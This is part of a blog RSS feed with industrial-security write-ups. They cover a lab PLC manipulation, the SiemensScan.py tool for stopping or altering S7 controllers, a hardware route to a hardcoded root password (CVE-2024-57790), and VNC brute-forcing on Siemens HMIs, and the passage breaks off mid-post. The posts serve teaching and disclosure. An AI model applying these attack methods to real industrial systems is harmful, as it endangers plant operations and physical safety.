hardware</li><li>Assessment and protection of industrial environments</li></ul><h3>LEVEL UP WITH FOXGRID NOW!</h3><p>🔥 As a Medium reader, you get <strong>30% off Marcel’s training </strong>— and join Marcel directly inside the labs.</p><p><a href="https://www.foxgrid.net/f/unlockotsec">👉 Click here to start your industrial hands-on journey</a></p><p>⌨️ <em>This article is AI-enhanced.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=de5302c98a23" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Wrote Malware That Targeted the German Federal Bureau of Information Security (BSI)]]></title>
            <link>https://medium.com/@marcel.rickcen/i-wrote-malware-that-targeted-the-german-federal-bureau-of-information-security-bsi-10527ebf75a4?source=rss-cd66c390c38c------2</link>
            <guid isPermaLink="false">https://medium.com/p/10527ebf75a4</guid>
            <category><![CDATA[industrial-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ot-security]]></category>
            <dc:creator><![CDATA[Marcel Rick-Cen | FOXGRID]]></dc:creator>
            <pubDate>Fri, 25 Jul 2025 12:28:52 GMT</pubDate>
            <atom:updated>2025-08-20T07:57:16.870Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x9fLCwGn_aJZ0p6Fm5ITwQ.jpeg" /></figure><p>Sounds dramatic, right? But yes — I did write malware that compromised systems inside the German Federal Bureau of Information Security (BSI).<br>Before anyone freaks out: national security wasn’t in danger.<br>The target was real — but it lived inside an isolated Industrial Control Systems (ICS) lab, part of my master’s thesis project. And the malware? It was a stealthy proof-of-concept, designed to silently mess with the lab’s production process.</p><blockquote>⚡Take a moment and follow me on LinkedIn: https://www.linkedin.com/in/marcelrickcen/</blockquote><h3>The Playground: Germany’s BSI ICS Lab</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/0*b0_YKn3c-Nw1UX6-.png" /><figcaption>Hypothetical ICS production process in the BSI lab</figcaption></figure><p>BSI’s lab is as close as it gets to a real factory floor, minus the consequences. Think conveyor belts, storage cells, processing stations, inspection lines — all controlled by PLCs and connected through industrial networks. This sandbox setup gave me the perfect environment to study how targeted malware could manipulate a process without sounding any alarms.</p><h3>Hacking the System (Without Breaking It)</h3><p>My mission was clear:<br> ✅ Craft a PLC-based attack<br> ✅ Avoid damage<br> ✅ Avoid detection</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/0*QelP7wq75ydRaf2N.png" /><figcaption>Non-destructive attacks with only moderate conspicuousness and impact</figcaption></figure><p>Obvious attacks — like halting conveyors or crashing robots — were off the table. Too loud. Too destructive. I needed something subtle.</p><p><strong>The answer?</strong><br>Trigger false positives in the inspection cell — quietly rejecting parts that should’ve passed. Not ideal in a real factory, but perfect for a low-profile attack.</p><p><strong>But there was a catch:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/0*MhuC6paT8SlwJvvk.png" /><figcaption>The HMI with reject counter (“Sorted Plastic/Metal”) make the manipulation quickly recognizable</figcaption></figure><p>Rejected parts showed up on the HMI and SCADA dashboards. Not exactly stealthy. Anyone watching would see the manipulation in real time.</p><h3>Digging Into the PLC Code</h3><p>So I dove into the control logic. The inspection system used a <strong>shift register</strong> to track part types. If a part was classified as “material type 0,” no rejection or alert was triggered. That was my exploit path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/0*88AbCVqE0gvA39s5.png" /><figcaption>Exploiting the trigger conditions for the SortFinal-Flag</figcaption></figure><p>By injecting code that silently overwrote the part’s material type with a 0 — <strong>just before the system made a decision</strong> — I could cause the part to be rejected without flagging anything on the dashboards.</p><h3>Coding The Malicious Lines</h3><p>To keep the attack low-key, I wrapped my malicious logic in a simple state machine:</p><ul><li>💤 Wait quietly for a few cycles</li><li>⚠️ Inject the payload</li><li>🚫 Reject 3 parts</li><li>🔁 Go back to sleep</li></ul><p>In 15 minutes, I rejected over <strong>50 parts</strong> — without a single alarm.<br>The operators would just assume the machine was having a bad day.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*D9x4Gt_uxEVjvLxn.png" /><figcaption>Overwriting the stored material in the variable Band_Data.BandO_TypOut with a Zero</figcaption></figure><h3>Why This Matters</h3><p>This project wasn’t about breaking stuff — it was about showing how <strong>simple manipulations can bypass traditional monitoring</strong> in industrial environments. It also showed how important deep code reviews and behavioral anomaly detection are in ICS security.</p><h3>Lessons Learned</h3><p>Working inside BSI’s lab was a rare opportunity. It helped me experience firsthand how real-world systems can be exploited. It also deepened my respect for the complexity and fragility of industrial cybersecurity.</p><h3>About the Author</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vY7tihasNXDY9gG4-dG4Cg.png" /></figure><p><strong>Marcel Rick-Cen</strong> is the founder and lead instructor at <a href="https://www.foxgrid.net/"><em>FOXGRID Industrial</em></a>, a learning platform built for engineers, hackers, and defenders who want to master industrial systems the right way.</p><p>An automation engineer turned OT security specialist, Marcel brings over two decades of hands-on experience — from global service engineering to tamper detection research at the German Bureau of Information Security. With a background in electrical engineering and a master’s degree focused on Operational Technology, he now works as an OT/IIoT Security Consultant by day and experiments as an OT hacker by night, uncovering real-world vulnerabilities in the systems that power industry.</p><p>Marcel has designed a complete, lab-driven training path for anyone who wants to go beyond theory and into real industrial hacking and defense. His courses cover:</p><ul><li>Offensive testing of industrial field devices and networks</li><li>Exploitation of embedded OT/IIoT hardware</li><li>Assessment and protection of industrial environments</li></ul><h3>LEVEL UP WITH FOXGRID NOW!</h3><p>🔥 As a Medium reader, you get <strong>30% off Marcel’s training </strong>— and join Marcel directly inside the labs.</p><p><a href="https://www.foxgrid.net/f/unlockotsec">👉 Click here to start your industrial hands-on journey</a></p><p>⌨️ <em>This article is AI-enhanced.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=10527ebf75a4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting Siemens Simatic S7 Controllers with Python: A Look at SiemensScan.py]]></title>
            <link>https://medium.com/@marcel.rickcen/exploiting-siemens-simatic-s7-controllers-with-python-a-look-at-siemensscan-py-c4b82cd759d9?source=rss-cd66c390c38c------2</link>
            <guid isPermaLink="false">https://medium.com/p/c4b82cd759d9</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ot-security]]></category>
            <category><![CDATA[industrial-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Marcel Rick-Cen | FOXGRID]]></dc:creator>
            <pubDate>Tue, 11 Mar 2025 14:08:50 GMT</pubDate>
            <atom:updated>2025-08-20T07:57:56.833Z</atom:updated>
            <content:encoded><![CDATA[<h3>Exploiting Siemens Simatic S7 Controllers with Python: A Beginners Guide to SiemensScan.py</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*as_ptg8mDHcv-QeRqF4yxA.png" /></figure><p>Renowned for their robustness and widespread adoption, Siemens Simatic Automation Controllers form the backbone of numerous production infrastructures worldwide. In this article, we’ll explore the capabilities of <strong>a python exploit script</strong>, examining how it discovers and manipulates S7 devices, the security implications, and what you should do to mitigate such threats.</p><h3>Understanding the Target</h3><p>The Siemens Simatic S7–1200 CPU 1212 programmable logic controller is the heart of small to medium sized industrial processes. It orchestrates the operations of various field devices and processes in real time, ensuring seamless functionality and efficiency. With operational lifespans stretching over 20 to 30 years, ICS often operate on outdated firmware and software, making them susceptible to cybersecurity exploits.</p><h3>Pentest Conditions:</h3><p>We’ll be operating under specific conditions:</p><ul><li>Direct OT network access.</li><li>Emulation of SL-2 (IEC 62443) attacker capabilities.</li><li>Adhering to a black-box approach, implying limited prior knowledge of the system.</li></ul><h3>SiemensScan.py: A Tool for S7 Controller Interaction</h3><p>The <strong>SiemensScan.py</strong> script is part of the ICS Security Scripts <a href="https://github.com/tijldeneut/ICSSecurityScripts">Github Repository</a> and is designed to interact with Siemens Simatic S7 controllers using Profinet and S7-specific communication protocols. When executed, it performs a series of actions that allow an operator to discover, analyze, and manipulate S7 devices on a network.</p><h3>Step 1: Device Discovery</h3><p>Once launched the script begins by performing a <strong>layer 2</strong> <strong>discovery scan</strong>, sending a dedicated S7 packet to identify any Siemens S7 controllers on the local network. If a device responds, it is listed as a potential target.</p><p>If the user is <strong>not directly connected</strong> to the target network, they can <strong>manually enter the IP address</strong> of an S7 device to proceed.</p><h3>Available Actions in SiemensScan.py</h3><p>Once a target device is selected, the script presents a <strong>menu of available operations</strong>, which can be classified into three categories:</p><ol><li><strong>Non-intrusive actions</strong> (diagnostic and information-gathering)</li><li><strong>Moderately intrusive actions</strong> (configuration changes)</li><li><strong>Highly intrusive actions</strong> (disruptive operations that affect process control)</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/333/0*FId7l4z1xKvIzGkr.png" /><figcaption>SiemensScan.py Main Menu</figcaption></figure><h3>1. Non-Intrusive Actions</h3><p>These operations do not alter the device’s state or functionality but can be useful for reconnaissance:</p><ul><li><strong>List More Information</strong>: Displays firmware details, hardware specifications, and network parameters of the S7 device.</li><li><strong>Flash the Device LED</strong>: Activates the device’s LED for a set period. This is often used for <strong>field diagnostics</strong> to visually identify a specific controller. Since this action uses legitimate Profinet communication, it does not impact operations.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*-5ay5B4nV7noelGqu4bHkg.png" /><figcaption>Information pulled from the target</figcaption></figure><h3>2. Moderately Intrusive Actions</h3><p>These operations make changes to the device but do not directly disrupt its functionality:</p><ul><li><strong>Print Outputs</strong>: Displays the state of binary inputs, internal flags, and digital outputs. While just printing this information is harmless, <strong>modifying the outputs moves this action into the highly intrusive category</strong>.</li><li><strong>Change the Device Name</strong>: Alters the network identification name of the controller. This does not impact its operation but can cause <strong>confusion in network management</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/0*y_7987EcCEEAaByk.png" /><figcaption>Capturing the binary inputs and outputs state</figcaption></figure><h3>3. Highly Intrusive Actions</h3><p>These operations can have <strong>severe consequences</strong> on industrial processes:</p><ul><li><strong>Alter Outputs</strong>: Changing output states can directly affect machinery, or ystems connected to the PLC. <strong>This could disrupt production processes or in rare cases cause physical damage</strong>.</li><li><strong>Change CPU State (Run/Stop Mode)</strong>: Switching an S7 controller from <strong>Run Mode to Stop Mode</strong> immediately halts all automation processes controlled by that PLC. In industrial environments, this could lead to <strong>downtime or financial losses</strong>.</li><li><strong>Change Network Configuration</strong>: Modifying the IP address of the controller effectively <strong>disconnects it from the network</strong>, preventing communication with SCADA systems, HMIs, or other controllers. This can lead to <strong>process interruptions</strong> and require manual intervention to restore normal operations.</li></ul><h3>Security Implications</h3><p>The capabilities of <strong>SiemensScan.py</strong> highlight significant security risks in industrial control systems:</p><p><strong>Lack of Authentication</strong></p><ul><li>The Siemens S7 series, <strong>do not require authentication</strong> for basic functions like retrieving information, flashing LEDs, or even changing configurations.</li><li>This allows unauthorized users to <strong>gather intelligence</strong> on the network and prepare for further attacks.</li></ul><p><strong>Potential for Disruptions</strong></p><ul><li>Actions like <strong>modifying outputs</strong> or <strong>stopping the CPU</strong> can cause operational disruptions.</li><li>Attackers with access to these functions could <strong>halt production, or in rare cases create unsafe conditions</strong>.</li></ul><p><strong>Network Attacks</strong></p><ul><li>Changing network settings can effectively <strong>isolate a controller</strong>, breaking its connection with the supervisory control systems.</li><li>Attackers with a high cyber-physical process comprehension may use this to <strong>replace legitimate control signals with malicious commands</strong>.</li></ul><h3>Mitigation Strategies</h3><p>To defend against threats posed by tools like <strong>SiemensScan.py</strong>, organizations should implement <strong>strong cybersecurity measures</strong>:</p><p><strong>Network Segmentation</strong></p><ul><li>Industrial networks should be <strong>segmented</strong> per production cell or line to reduce exposure.</li><li>Use <strong>firewalls</strong> and <strong>intrusion detection systems (IDS)</strong> to monitor traffic between segments.</li></ul><p><strong>Firmware &amp; Patch Management</strong></p><ul><li>Keep <strong>Siemens S7–1200 firmware up to date</strong> to address security vulnerabilities. Follow <a href="https://www.siemens.com/global/en/products/services/cert.html#SiemensSecurityAdvisories">SiemensCERT </a>or subscribe to their CSAF</li><li>Disable <strong>unused services</strong> to reduce the attack surface.</li></ul><h3>Conclusion</h3><p>SiemensScan.py is a powerful tool that demonstrates the security risks associated with industrial control systems. While it can be used for legitimate diagnostic purposes, its ability to alter PLC behavior highlights the need for <strong>robust cybersecurity measures</strong> in ICS environments.</p><p>Industrial operators and security professionals must take these threats seriously, implementing <strong>network segmentation, authentication, and monitoring</strong> to protect critical infrastructure. As attackers continue to target OT networks, proactive security measures are essential to maintaining operational integrity and safety.</p><p>By understanding how tools like SiemensScan.py work, OT Security professionals can <strong>better prepare for potential cyber threats and ensure the resilience of their industrial automation systems</strong>.</p><h3>About the Author</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vY7tihasNXDY9gG4-dG4Cg.png" /></figure><p><strong>Marcel Rick-Cen</strong> is the founder and lead instructor at <a href="https://www.foxgrid.net/"><em>FOXGRID Industrial</em></a>, a learning platform built for engineers, hackers, and defenders who want to master industrial systems the right way.</p><p>An automation engineer turned OT security specialist, Marcel brings over two decades of hands-on experience — from global service engineering to tamper detection research at the German Bureau of Information Security. With a background in electrical engineering and a master’s degree focused on Operational Technology, he now works as an OT/IIoT Security Consultant by day and experiments as an OT hacker by night, uncovering real-world vulnerabilities in the systems that power industry.</p><p>Marcel has designed a complete, lab-driven training path for anyone who wants to go beyond theory and into real industrial hacking and defense. His courses cover:</p><ul><li>Offensive testing of industrial field devices and networks</li><li>Exploitation of embedded OT/IIoT hardware</li><li>Assessment and protection of industrial environments</li></ul><h3>LEVEL UP WITH FOXGRID NOW!</h3><p>🔥 As a Medium reader, you get <strong>30% off Marcel’s training </strong>— and join Marcel directly inside the labs.</p><p><a href="https://www.foxgrid.net/f/unlockotsec">👉 Click here to start your industrial hands-on journey</a></p><p>⌨️ <em>This article is AI-enhanced.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c4b82cd759d9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2024-57790: Uncovering Hardcoded Root Credentials on an ICS/OT Edge Gateway]]></title>
            <link>https://medium.com/@marcel.rickcen/cve-2024-57790-uncovering-hardcoded-root-credentials-on-an-ics-ot-edge-gateway-819f0406384d?source=rss-cd66c390c38c------2</link>
            <guid isPermaLink="false">https://medium.com/p/819f0406384d</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hardware-hacking]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[ot-security]]></category>
            <dc:creator><![CDATA[Marcel Rick-Cen | FOXGRID]]></dc:creator>
            <pubDate>Mon, 17 Feb 2025 19:20:43 GMT</pubDate>
            <atom:updated>2026-07-31T10:14:57.783Z</atom:updated>
            <content:encoded><![CDATA[<h3>CVE-2024-57790: Uncovering Hardcoded Root Credentials on an ICS/OT Edge Gateway *2026 update</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*mJO4cvFuItI0xnHe13C_SQ.png" /></figure><p>The journey to CVE-2024–57790 began in late 2023 ago when I first accessed device. I encountered a highly fortified system with no attack surface for accessing the underlying OS. However, a ten-byte-long piece of information, hidden deep in the device’s memory, allowed me to gain full control over the device.</p><blockquote>⚡Take a moment and follow me on LinkedIn: <a href="https://www.linkedin.com/in/marcelrickcen/">https://www.linkedin.com/in/marcelrickcen/</a></blockquote><h3>Normal Operation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*zK43OiyCU135ZqNy4ttl2w.png" /><figcaption>These Gateways are usually located in the electric cabinet</figcaption></figure><p>Before we dive into the analysis, let’s understand first how this device is intended to be used: The vendor provides a cloud portal that facilitates the management of devices and the creation of initial configuration files. Users generate these config files through the portal and then transfer them onto a USB pen drive. To set up a device, this USB drive is plugged into the device’s USB socket while it is powered off. Upon powering the device on, it reads the config file from the USB drive, which enables it to connect to the internet and register itself with the cloud portal. Once registered, all device management tasks can be conducted remotely via the cloud portal. For local management, the device’s embedded web server can be accessed, providing an alternative means of configuration and monitoring directly at the device level.</p><h3>Initial Exploration</h3><p>The investigation began with a network analysis of the device with nmap. The following ports were identified:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/0*CltWbVt4FT9LQe6K.png" /></figure><p>Despite its robust security measures, which included limited network-based attack surfaces, an undocumented DropbearSSH service on 22/tcp was discovered. According to IXON, this SSH was used exclusively for high-level troubleshooting, with security measures surpassing German BSI standards.</p><h3>Physical and Hardware Analysis</h3><p>As the network-based approach seemed to be a dead end, the focus shifted to physical recon, exploring the components on the PCB:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/323/1*BrcQerKKHn8WONw8-nqCWw.png" /><figcaption>SOC</figcaption></figure><p><strong>MediaTek MT7621AT:</strong> A dual-core MIPS-based SoC designed for mid-range routers, gateways, and IoT industrial devices. It integrates a 2×880 MHz CPU, a 5-port Gigabit Ethernet switch, PCIe for Wi-Fi modules, USB 3.0, and hardware NAT/crypto acceleration for high-throughput networking. It’s widely used in open-source-friendly devices because it runs Linux well and offers balanced performance, low cost, and good third-party support.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/286/1*BGD65DPPr5p0SoVogm-wyA.png" /><figcaption>SPI Memory</figcaption></figure><p><strong>Winbond W25Q128JV:</strong> This is a serial peripheral interface (SPI) flash chip with 128 megabits of storage capacity. It is crucial for holding the device’s bootloader and its firmware. The bootloader is the first piece of software that runs when the device is powered on, and it’s responsible for initializing hardware and loading the main operating system from the flash storage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/276/1*wySHqtCvf2xacMgjcdACDQ.png" /><figcaption>UART Interface</figcaption></figure><p><strong>Debug Interfaces: </strong>Connectors marked ‘RX TX GND’,<strong> </strong>indicative of a UART interface, which is typically used for console debugging and direct command-line access to the device’s OS.</p><h3>UART Signal Analysis</h3><p>Pins were soldered to the ‘RX TX GND’ connectors, and continuity tests confirmed the ‘GND’ as the Ground pin. Voltage across these pins was measured at 3.2 volts, typical for logic levels in modern electronic devices.</p><p>Using a logic analyzer, the transmission (TX) pin’s output was recorded. The length of the start bit, which is the initial bit in each frame of UART communication, helped calculate the baud rate — the rate at which information is transferred. Knowing the baud rate is crucial for setting up a serial terminal to interact with the device.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/0*FpFgt04tyGaIqT9E.png" /><figcaption>17.292µs converts into a baud rate of 57600</figcaption></figure><p>If we provide the baud rate to the async serial analyzer, we can stream the captured data from the UART channel to the terminal, and can read the serial console output. This reveals upon pressing space bar, the bootloader can be accessed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/0*3VkX6QtYUVM_s8Th.png" /><figcaption>Logic 2 async serial analyzer output</figcaption></figure><h3>Breaking into the Bootloader</h3><p>Initial attempts to access the bootloader menu using a USB-TTL adapter and picocom were unsuccessful. A key observation was that data transmission only occurred when the RX pin on the PCB was held low during power-up. By connecting to the RX pin post-power-up, interaction with the serial output was possible.</p><p>After the boot sequence, a login screen appeared, but without credentials, progress stalled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/0*WgN6f73FhD1j6Vqi.png" /><figcaption>Login prompt over serial post boot sequence</figcaption></figure><p>During the boot sequence, we saw a prompt appearing for a second, prompting to press the Space bar to access the bootloader menu. The challenge here was the extremely short time window available to respond. I had to repeatedly press the Space bar, almost frantically, hoping to successfully trigger the prompt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*yiIQT_YoY2QElG_FyE49vQ.png" /><figcaption>Sending rapid keypresses with xdotool</figcaption></figure><p>To manage the timing more effectively, I utilized xdotool in a bash script to automate sending the Space bar press and the &#39;4&#39; key press repeatedly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/0*olowVS-S7ElzAA9f.png" /><figcaption>Accessed the U-Boot CLI with xdotool sending more space bar and key 4 presse</figcaption></figure><p>After multiple attempts with the automated script, I successfully accessed the U-Boot command prompt. The help command revealed fewer commands than typically available in U-Boot, suggesting that the vendor had hardened the bootloader to limit administrative actions. This hardening is a security measure intended to prevent attackers from easily manipulating the boot process or performing potentially destructive actions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/0*23qev7Mef3pE5642.png" /><figcaption>Available commands in the IX2400 U-Boot CLI</figcaption></figure><h3>Dumping SPI Memory Content</h3><p>Further boot log analysis revealed that the SPI flash memory is divided into four distinct partitions: U-Boot, U-Boot environment, factory settings, and firmware. Each partition plays a specific role in the device’s functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*EuB4-hFkkzFOPZha7iuHFw.png" /><figcaption>Bootlog revealing four partitions on SPI</figcaption></figure><p>Inspired by IoT hardware hacking insights from Matt Brown, the focus shifted to using the U-Boot command line to access the SPI memory. Using the spi read command I dumped the content of the factory partition and saved the data into a logfile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*utxrEiqwkCm5Z3InJhyc8g.png" /><figcaption>spi read displaying the hex data of the firmware partition</figcaption></figure><p>After converting the data from text format into byte format, I was able open the file with an hexeditor. The file contained only a few lines of readable information, which matched the data printed on the side label of the device, revealing that the <strong>serial number</strong>, <strong>version </strong>and <strong>web password</strong> are stored in the factory partition of the SPI chip.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*6Luwb-voAinfKlkYTd6ADg.png" /><figcaption>Factory Data matching printed information on the device label</figcaption></figure><p>A <strong>unknown string </strong>caught my attention, as this was nowhere to be found in the accessible resources and didn’t seem to have any relation to the other information found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*dRNi_ouU9B32HMQMfBTWfQ.png" /></figure><p>Having work experience for an OT device manufacturer, I was sure that the factory has a MES system providing the factory data to both the SPI flash process and the label printer. I was sure the unknown information is somehow related to this device. A behind-the-scenes video from the company showed the process: after the printed circuit boards (PCBs) pass electrical testing, the firmware is flashed onto the device. On the surface, it seems routine. But beneath it lies one of the most vulnerable junctures in the device lifecycle:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*QzlSTkTWYbrDHrkAmXPZjg.png" /><figcaption>Worker loading the blank slate PCB into a test and firmware flashing device.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x78X-vwjyem77aq7P95g0Q.png" /><figcaption>Factory data flashed into non-volatile memory</figcaption></figure><p><a href="https://www.youtube.com/watch?v=BAYMg1XSBIA">Watch the video here</a>.</p><h3>Root Access and Security Implications</h3><p>I tried the <strong>unknown string </strong>on the serial login screen with the root user, revealing that this bit of information <strong>is a hardcoded root password.</strong> With that, login as root at the serial console was successful, providing unrestricted access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*YwwVmLT8etKJg8tBoSV5Qg.png" /><figcaption>Nice ASCII Art, IXON!</figcaption></figure><p>This credential was also valid for the SSH service. Having root access allowed me to interact with the system with almost no boundaries. This includes accessing the shadow file and retrieving API keys used for interfacing with the cloud service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*mKdb-FoqXxZrb66vhReO_Q.png" /><figcaption>Redacted API keys</figcaption></figure><h3><strong>70,000 Machines Exposed — At Least in Theory</strong></h3><p>According to a 2024 manufacturer blog post, approximately <strong>70,000 machines worldwide</strong> are connected through their remote-access solution. In principle, this suggests that the same number of assets could be affected by the identified vulnerability.</p><p>In practice, the real exposure is likely lower: many operators deploy the device in centralized architectures rather than on every machine, and the vendor also provides software-based VPN alternatives that may reduce the number of vulnerable hardware units.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2gJhfqhBqyLq0PZT2nytJA.png" /><figcaption><em>Source: </em><a href="https://www.ixon.cloud/knowledge-hub/interview-willem-hofmans-2024"><em>https://www.ixon.cloud/knowledAge-hub/interview-willem-hofmans-2024</em></a></figcaption></figure><h3>Responsible Disclosure</h3><p>The discovery was promptly reported to IXON, <strong>confirming that the root password is unique to each device</strong>, randomly generated during production. Therefore, this finding is treated as tolerable risk.</p><p>IXON issued a statement and guideline on their <a href="https://support.ixon.cloud/s/article/Security-advisories">security advisories</a>.</p><blockquote>🦄 If you find this article useful, please help me by sharing it with your network and giving me a clap. Your help is appreciated.</blockquote><h3>Post Mortem</h3><p>Digging further into the scripts running at the initialization of the embedded device, revealed that the root and webuser passwords are generated during that phase. The first initialization script reads the plaintext credential from the specific memory address, encrypts it and stores the hash in the /etc/shadow file.</p><h3>Conclusion</h3><p>I would like to extend a<strong> huge thank you to Matt Brown</strong>, who provided the crucial clue that allowed me to gain root access.</p><p>The IXON router proved robust against casual hacking attempts, particularly when secured physically in operational environments. The unique root passwords per device further mitigate the risk of widespread device compromise from a single point of attack. In general, following the security recommendations of IXON should be best practise for both integrators and operators, ensuring the device is operated in a locked electrical cabinet. However, this scenario also highlights the potential for supply chain attacks, where pre-compromised devices could pose significant threats.</p><h3>About the Author</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vY7tihasNXDY9gG4-dG4Cg.png" /></figure><p><strong>Marcel Rick-Cen</strong> is the founder and lead instructor of the startup <a href="https://www.foxgrid.net/"><em>FOXGRID Industrial</em></a>, a service platform built for engineers, hackers, and defenders who want to master industrial systems the right way.</p><p>An automation engineer turned OT security specialist, Marcel brings over two decades of hands-on experience — from global service engineering to tamper detection research at the German Bureau of Information Security. With a background in electrical engineering and a master’s degree focused on Operational Technology, he now works as an OT/IIoT Security Consultant by day and experiments as an OT hacker by night, uncovering real-world vulnerabilities in the systems that power industry.</p><p>Marcel has designed a complete, lab-driven training path for anyone who wants to go beyond theory and into real industrial hacking and defense. His courses cover:</p><ul><li>Offensive testing of industrial field devices and networks</li><li>Exploitation of embedded OT/IIoT hardware</li><li>Assessment and protection of industrial environments</li></ul><h3>LEVEL UP WITH FOXGRID NOW!</h3><p>🔥 As a Medium reader, you get <strong>30% off Marcel’s training </strong>— and join Marcel directly inside the labs.</p><p><a href="https://www.foxgrid.net/f/unlockotsec">👉 Click here to start your industrial hands-on journey</a></p><p>⌨️ <em>This article is AI-enhanced.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=819f0406384d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ICS/OT Penetration Testing of Siemens HMI Panels: A Beginner’s Guide]]></title>
            <link>https://medium.com/@marcel.rickcen/ics-ot-penetration-testing-of-siemens-hmi-panels-a-beginners-guide-b840ffe1235f?source=rss-cd66c390c38c------2</link>
            <guid isPermaLink="false">https://medium.com/p/b840ffe1235f</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[industrial-security]]></category>
            <category><![CDATA[ot-security]]></category>
            <dc:creator><![CDATA[Marcel Rick-Cen | FOXGRID]]></dc:creator>
            <pubDate>Wed, 15 Jan 2025 20:16:54 GMT</pubDate>
            <atom:updated>2025-08-20T07:58:59.431Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*ZPuPqOJeI9U5Xii9HyIY-A.png" /><figcaption>An attacker might remotely disable local inputs</figcaption></figure><p>Human-Machine Interface (HMI) panels serve as the critical bridge between operators and process controllers. Getting locked out from these devices will have fatal consequences, as they provide real-time visualization, control, and monitoring of automated processes. Siemens HMI panels often use <strong>Siemens Sm@rt Server</strong>, which leverages the vulnerable VNC protocol for remote access to the panel. While convenient for operators needing offsite monitoring, this remote access mechanism can become an attack vector if improperly secured.</p><p>In this guide, we’ll walk through a penetration testing process on a Siemens HMI panel. This tutorial is intended for cybersecurity professionals and enthusiasts who are looking to understand the practical aspects of securing industrial control system (ICS) environments.</p><h3>Initial Reconnaissance with Nmap</h3><p>We begin with a network scan to identify open ports and services on the HMI panel. Running a comprehensive Nmap scan, including full port range scanning and version detection, reveals four open ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*W4J3eA_un4sgi3-XYnUpzg.png" /></figure><p>One of the open ports, <strong>port 102</strong>, stands out as it suggests the presence of Siemens S7 protocol — a proprietary communication protocol used by Siemens PLCs. Although running the Nmap S7 InfoScript on this port yields no useful results, another port, <strong>port 5900</strong>, catches our attention due to its association with the <strong>VNC (Virtual Network Computing)</strong> service.</p><p>A focused Nmap script scan on port 5900 confirms that the VNC service is active:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*KXBTJryUh8wwokYdCRJRVQ.png" /></figure><p>The output reveals the security type of the VNC service. However, since the HMI has tighter security configurations, the vnc-title script does not provide any results without authentication.</p><h3>Brute-Force Attack on VNC Service</h3><p>With the VNC service identified, the next logical step is to attempt authentication. For this, we use <strong>Hydra</strong>, a powerful password-cracking tool, and an ICS-specific password list. Here’s the Hydra command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*MdGeI2G1TBJ0_s7N8rALQQ.png" /></figure><p>After running the tool, Hydra successfully cracks the password: <strong>123456</strong>. This weak and commonly used password highlights the persistent issue of prioritizing convenience over security in many OT environments.</p><h4>Alternative NSE Script-Based Approach</h4><p>The Nmap scripting engine (NSE) also provides a vnc-brute script to test default or weak passwords against the VNC service. Unlike Hydra, this script continues testing even after finding a valid password, and in our case, it uncovers two passwords: 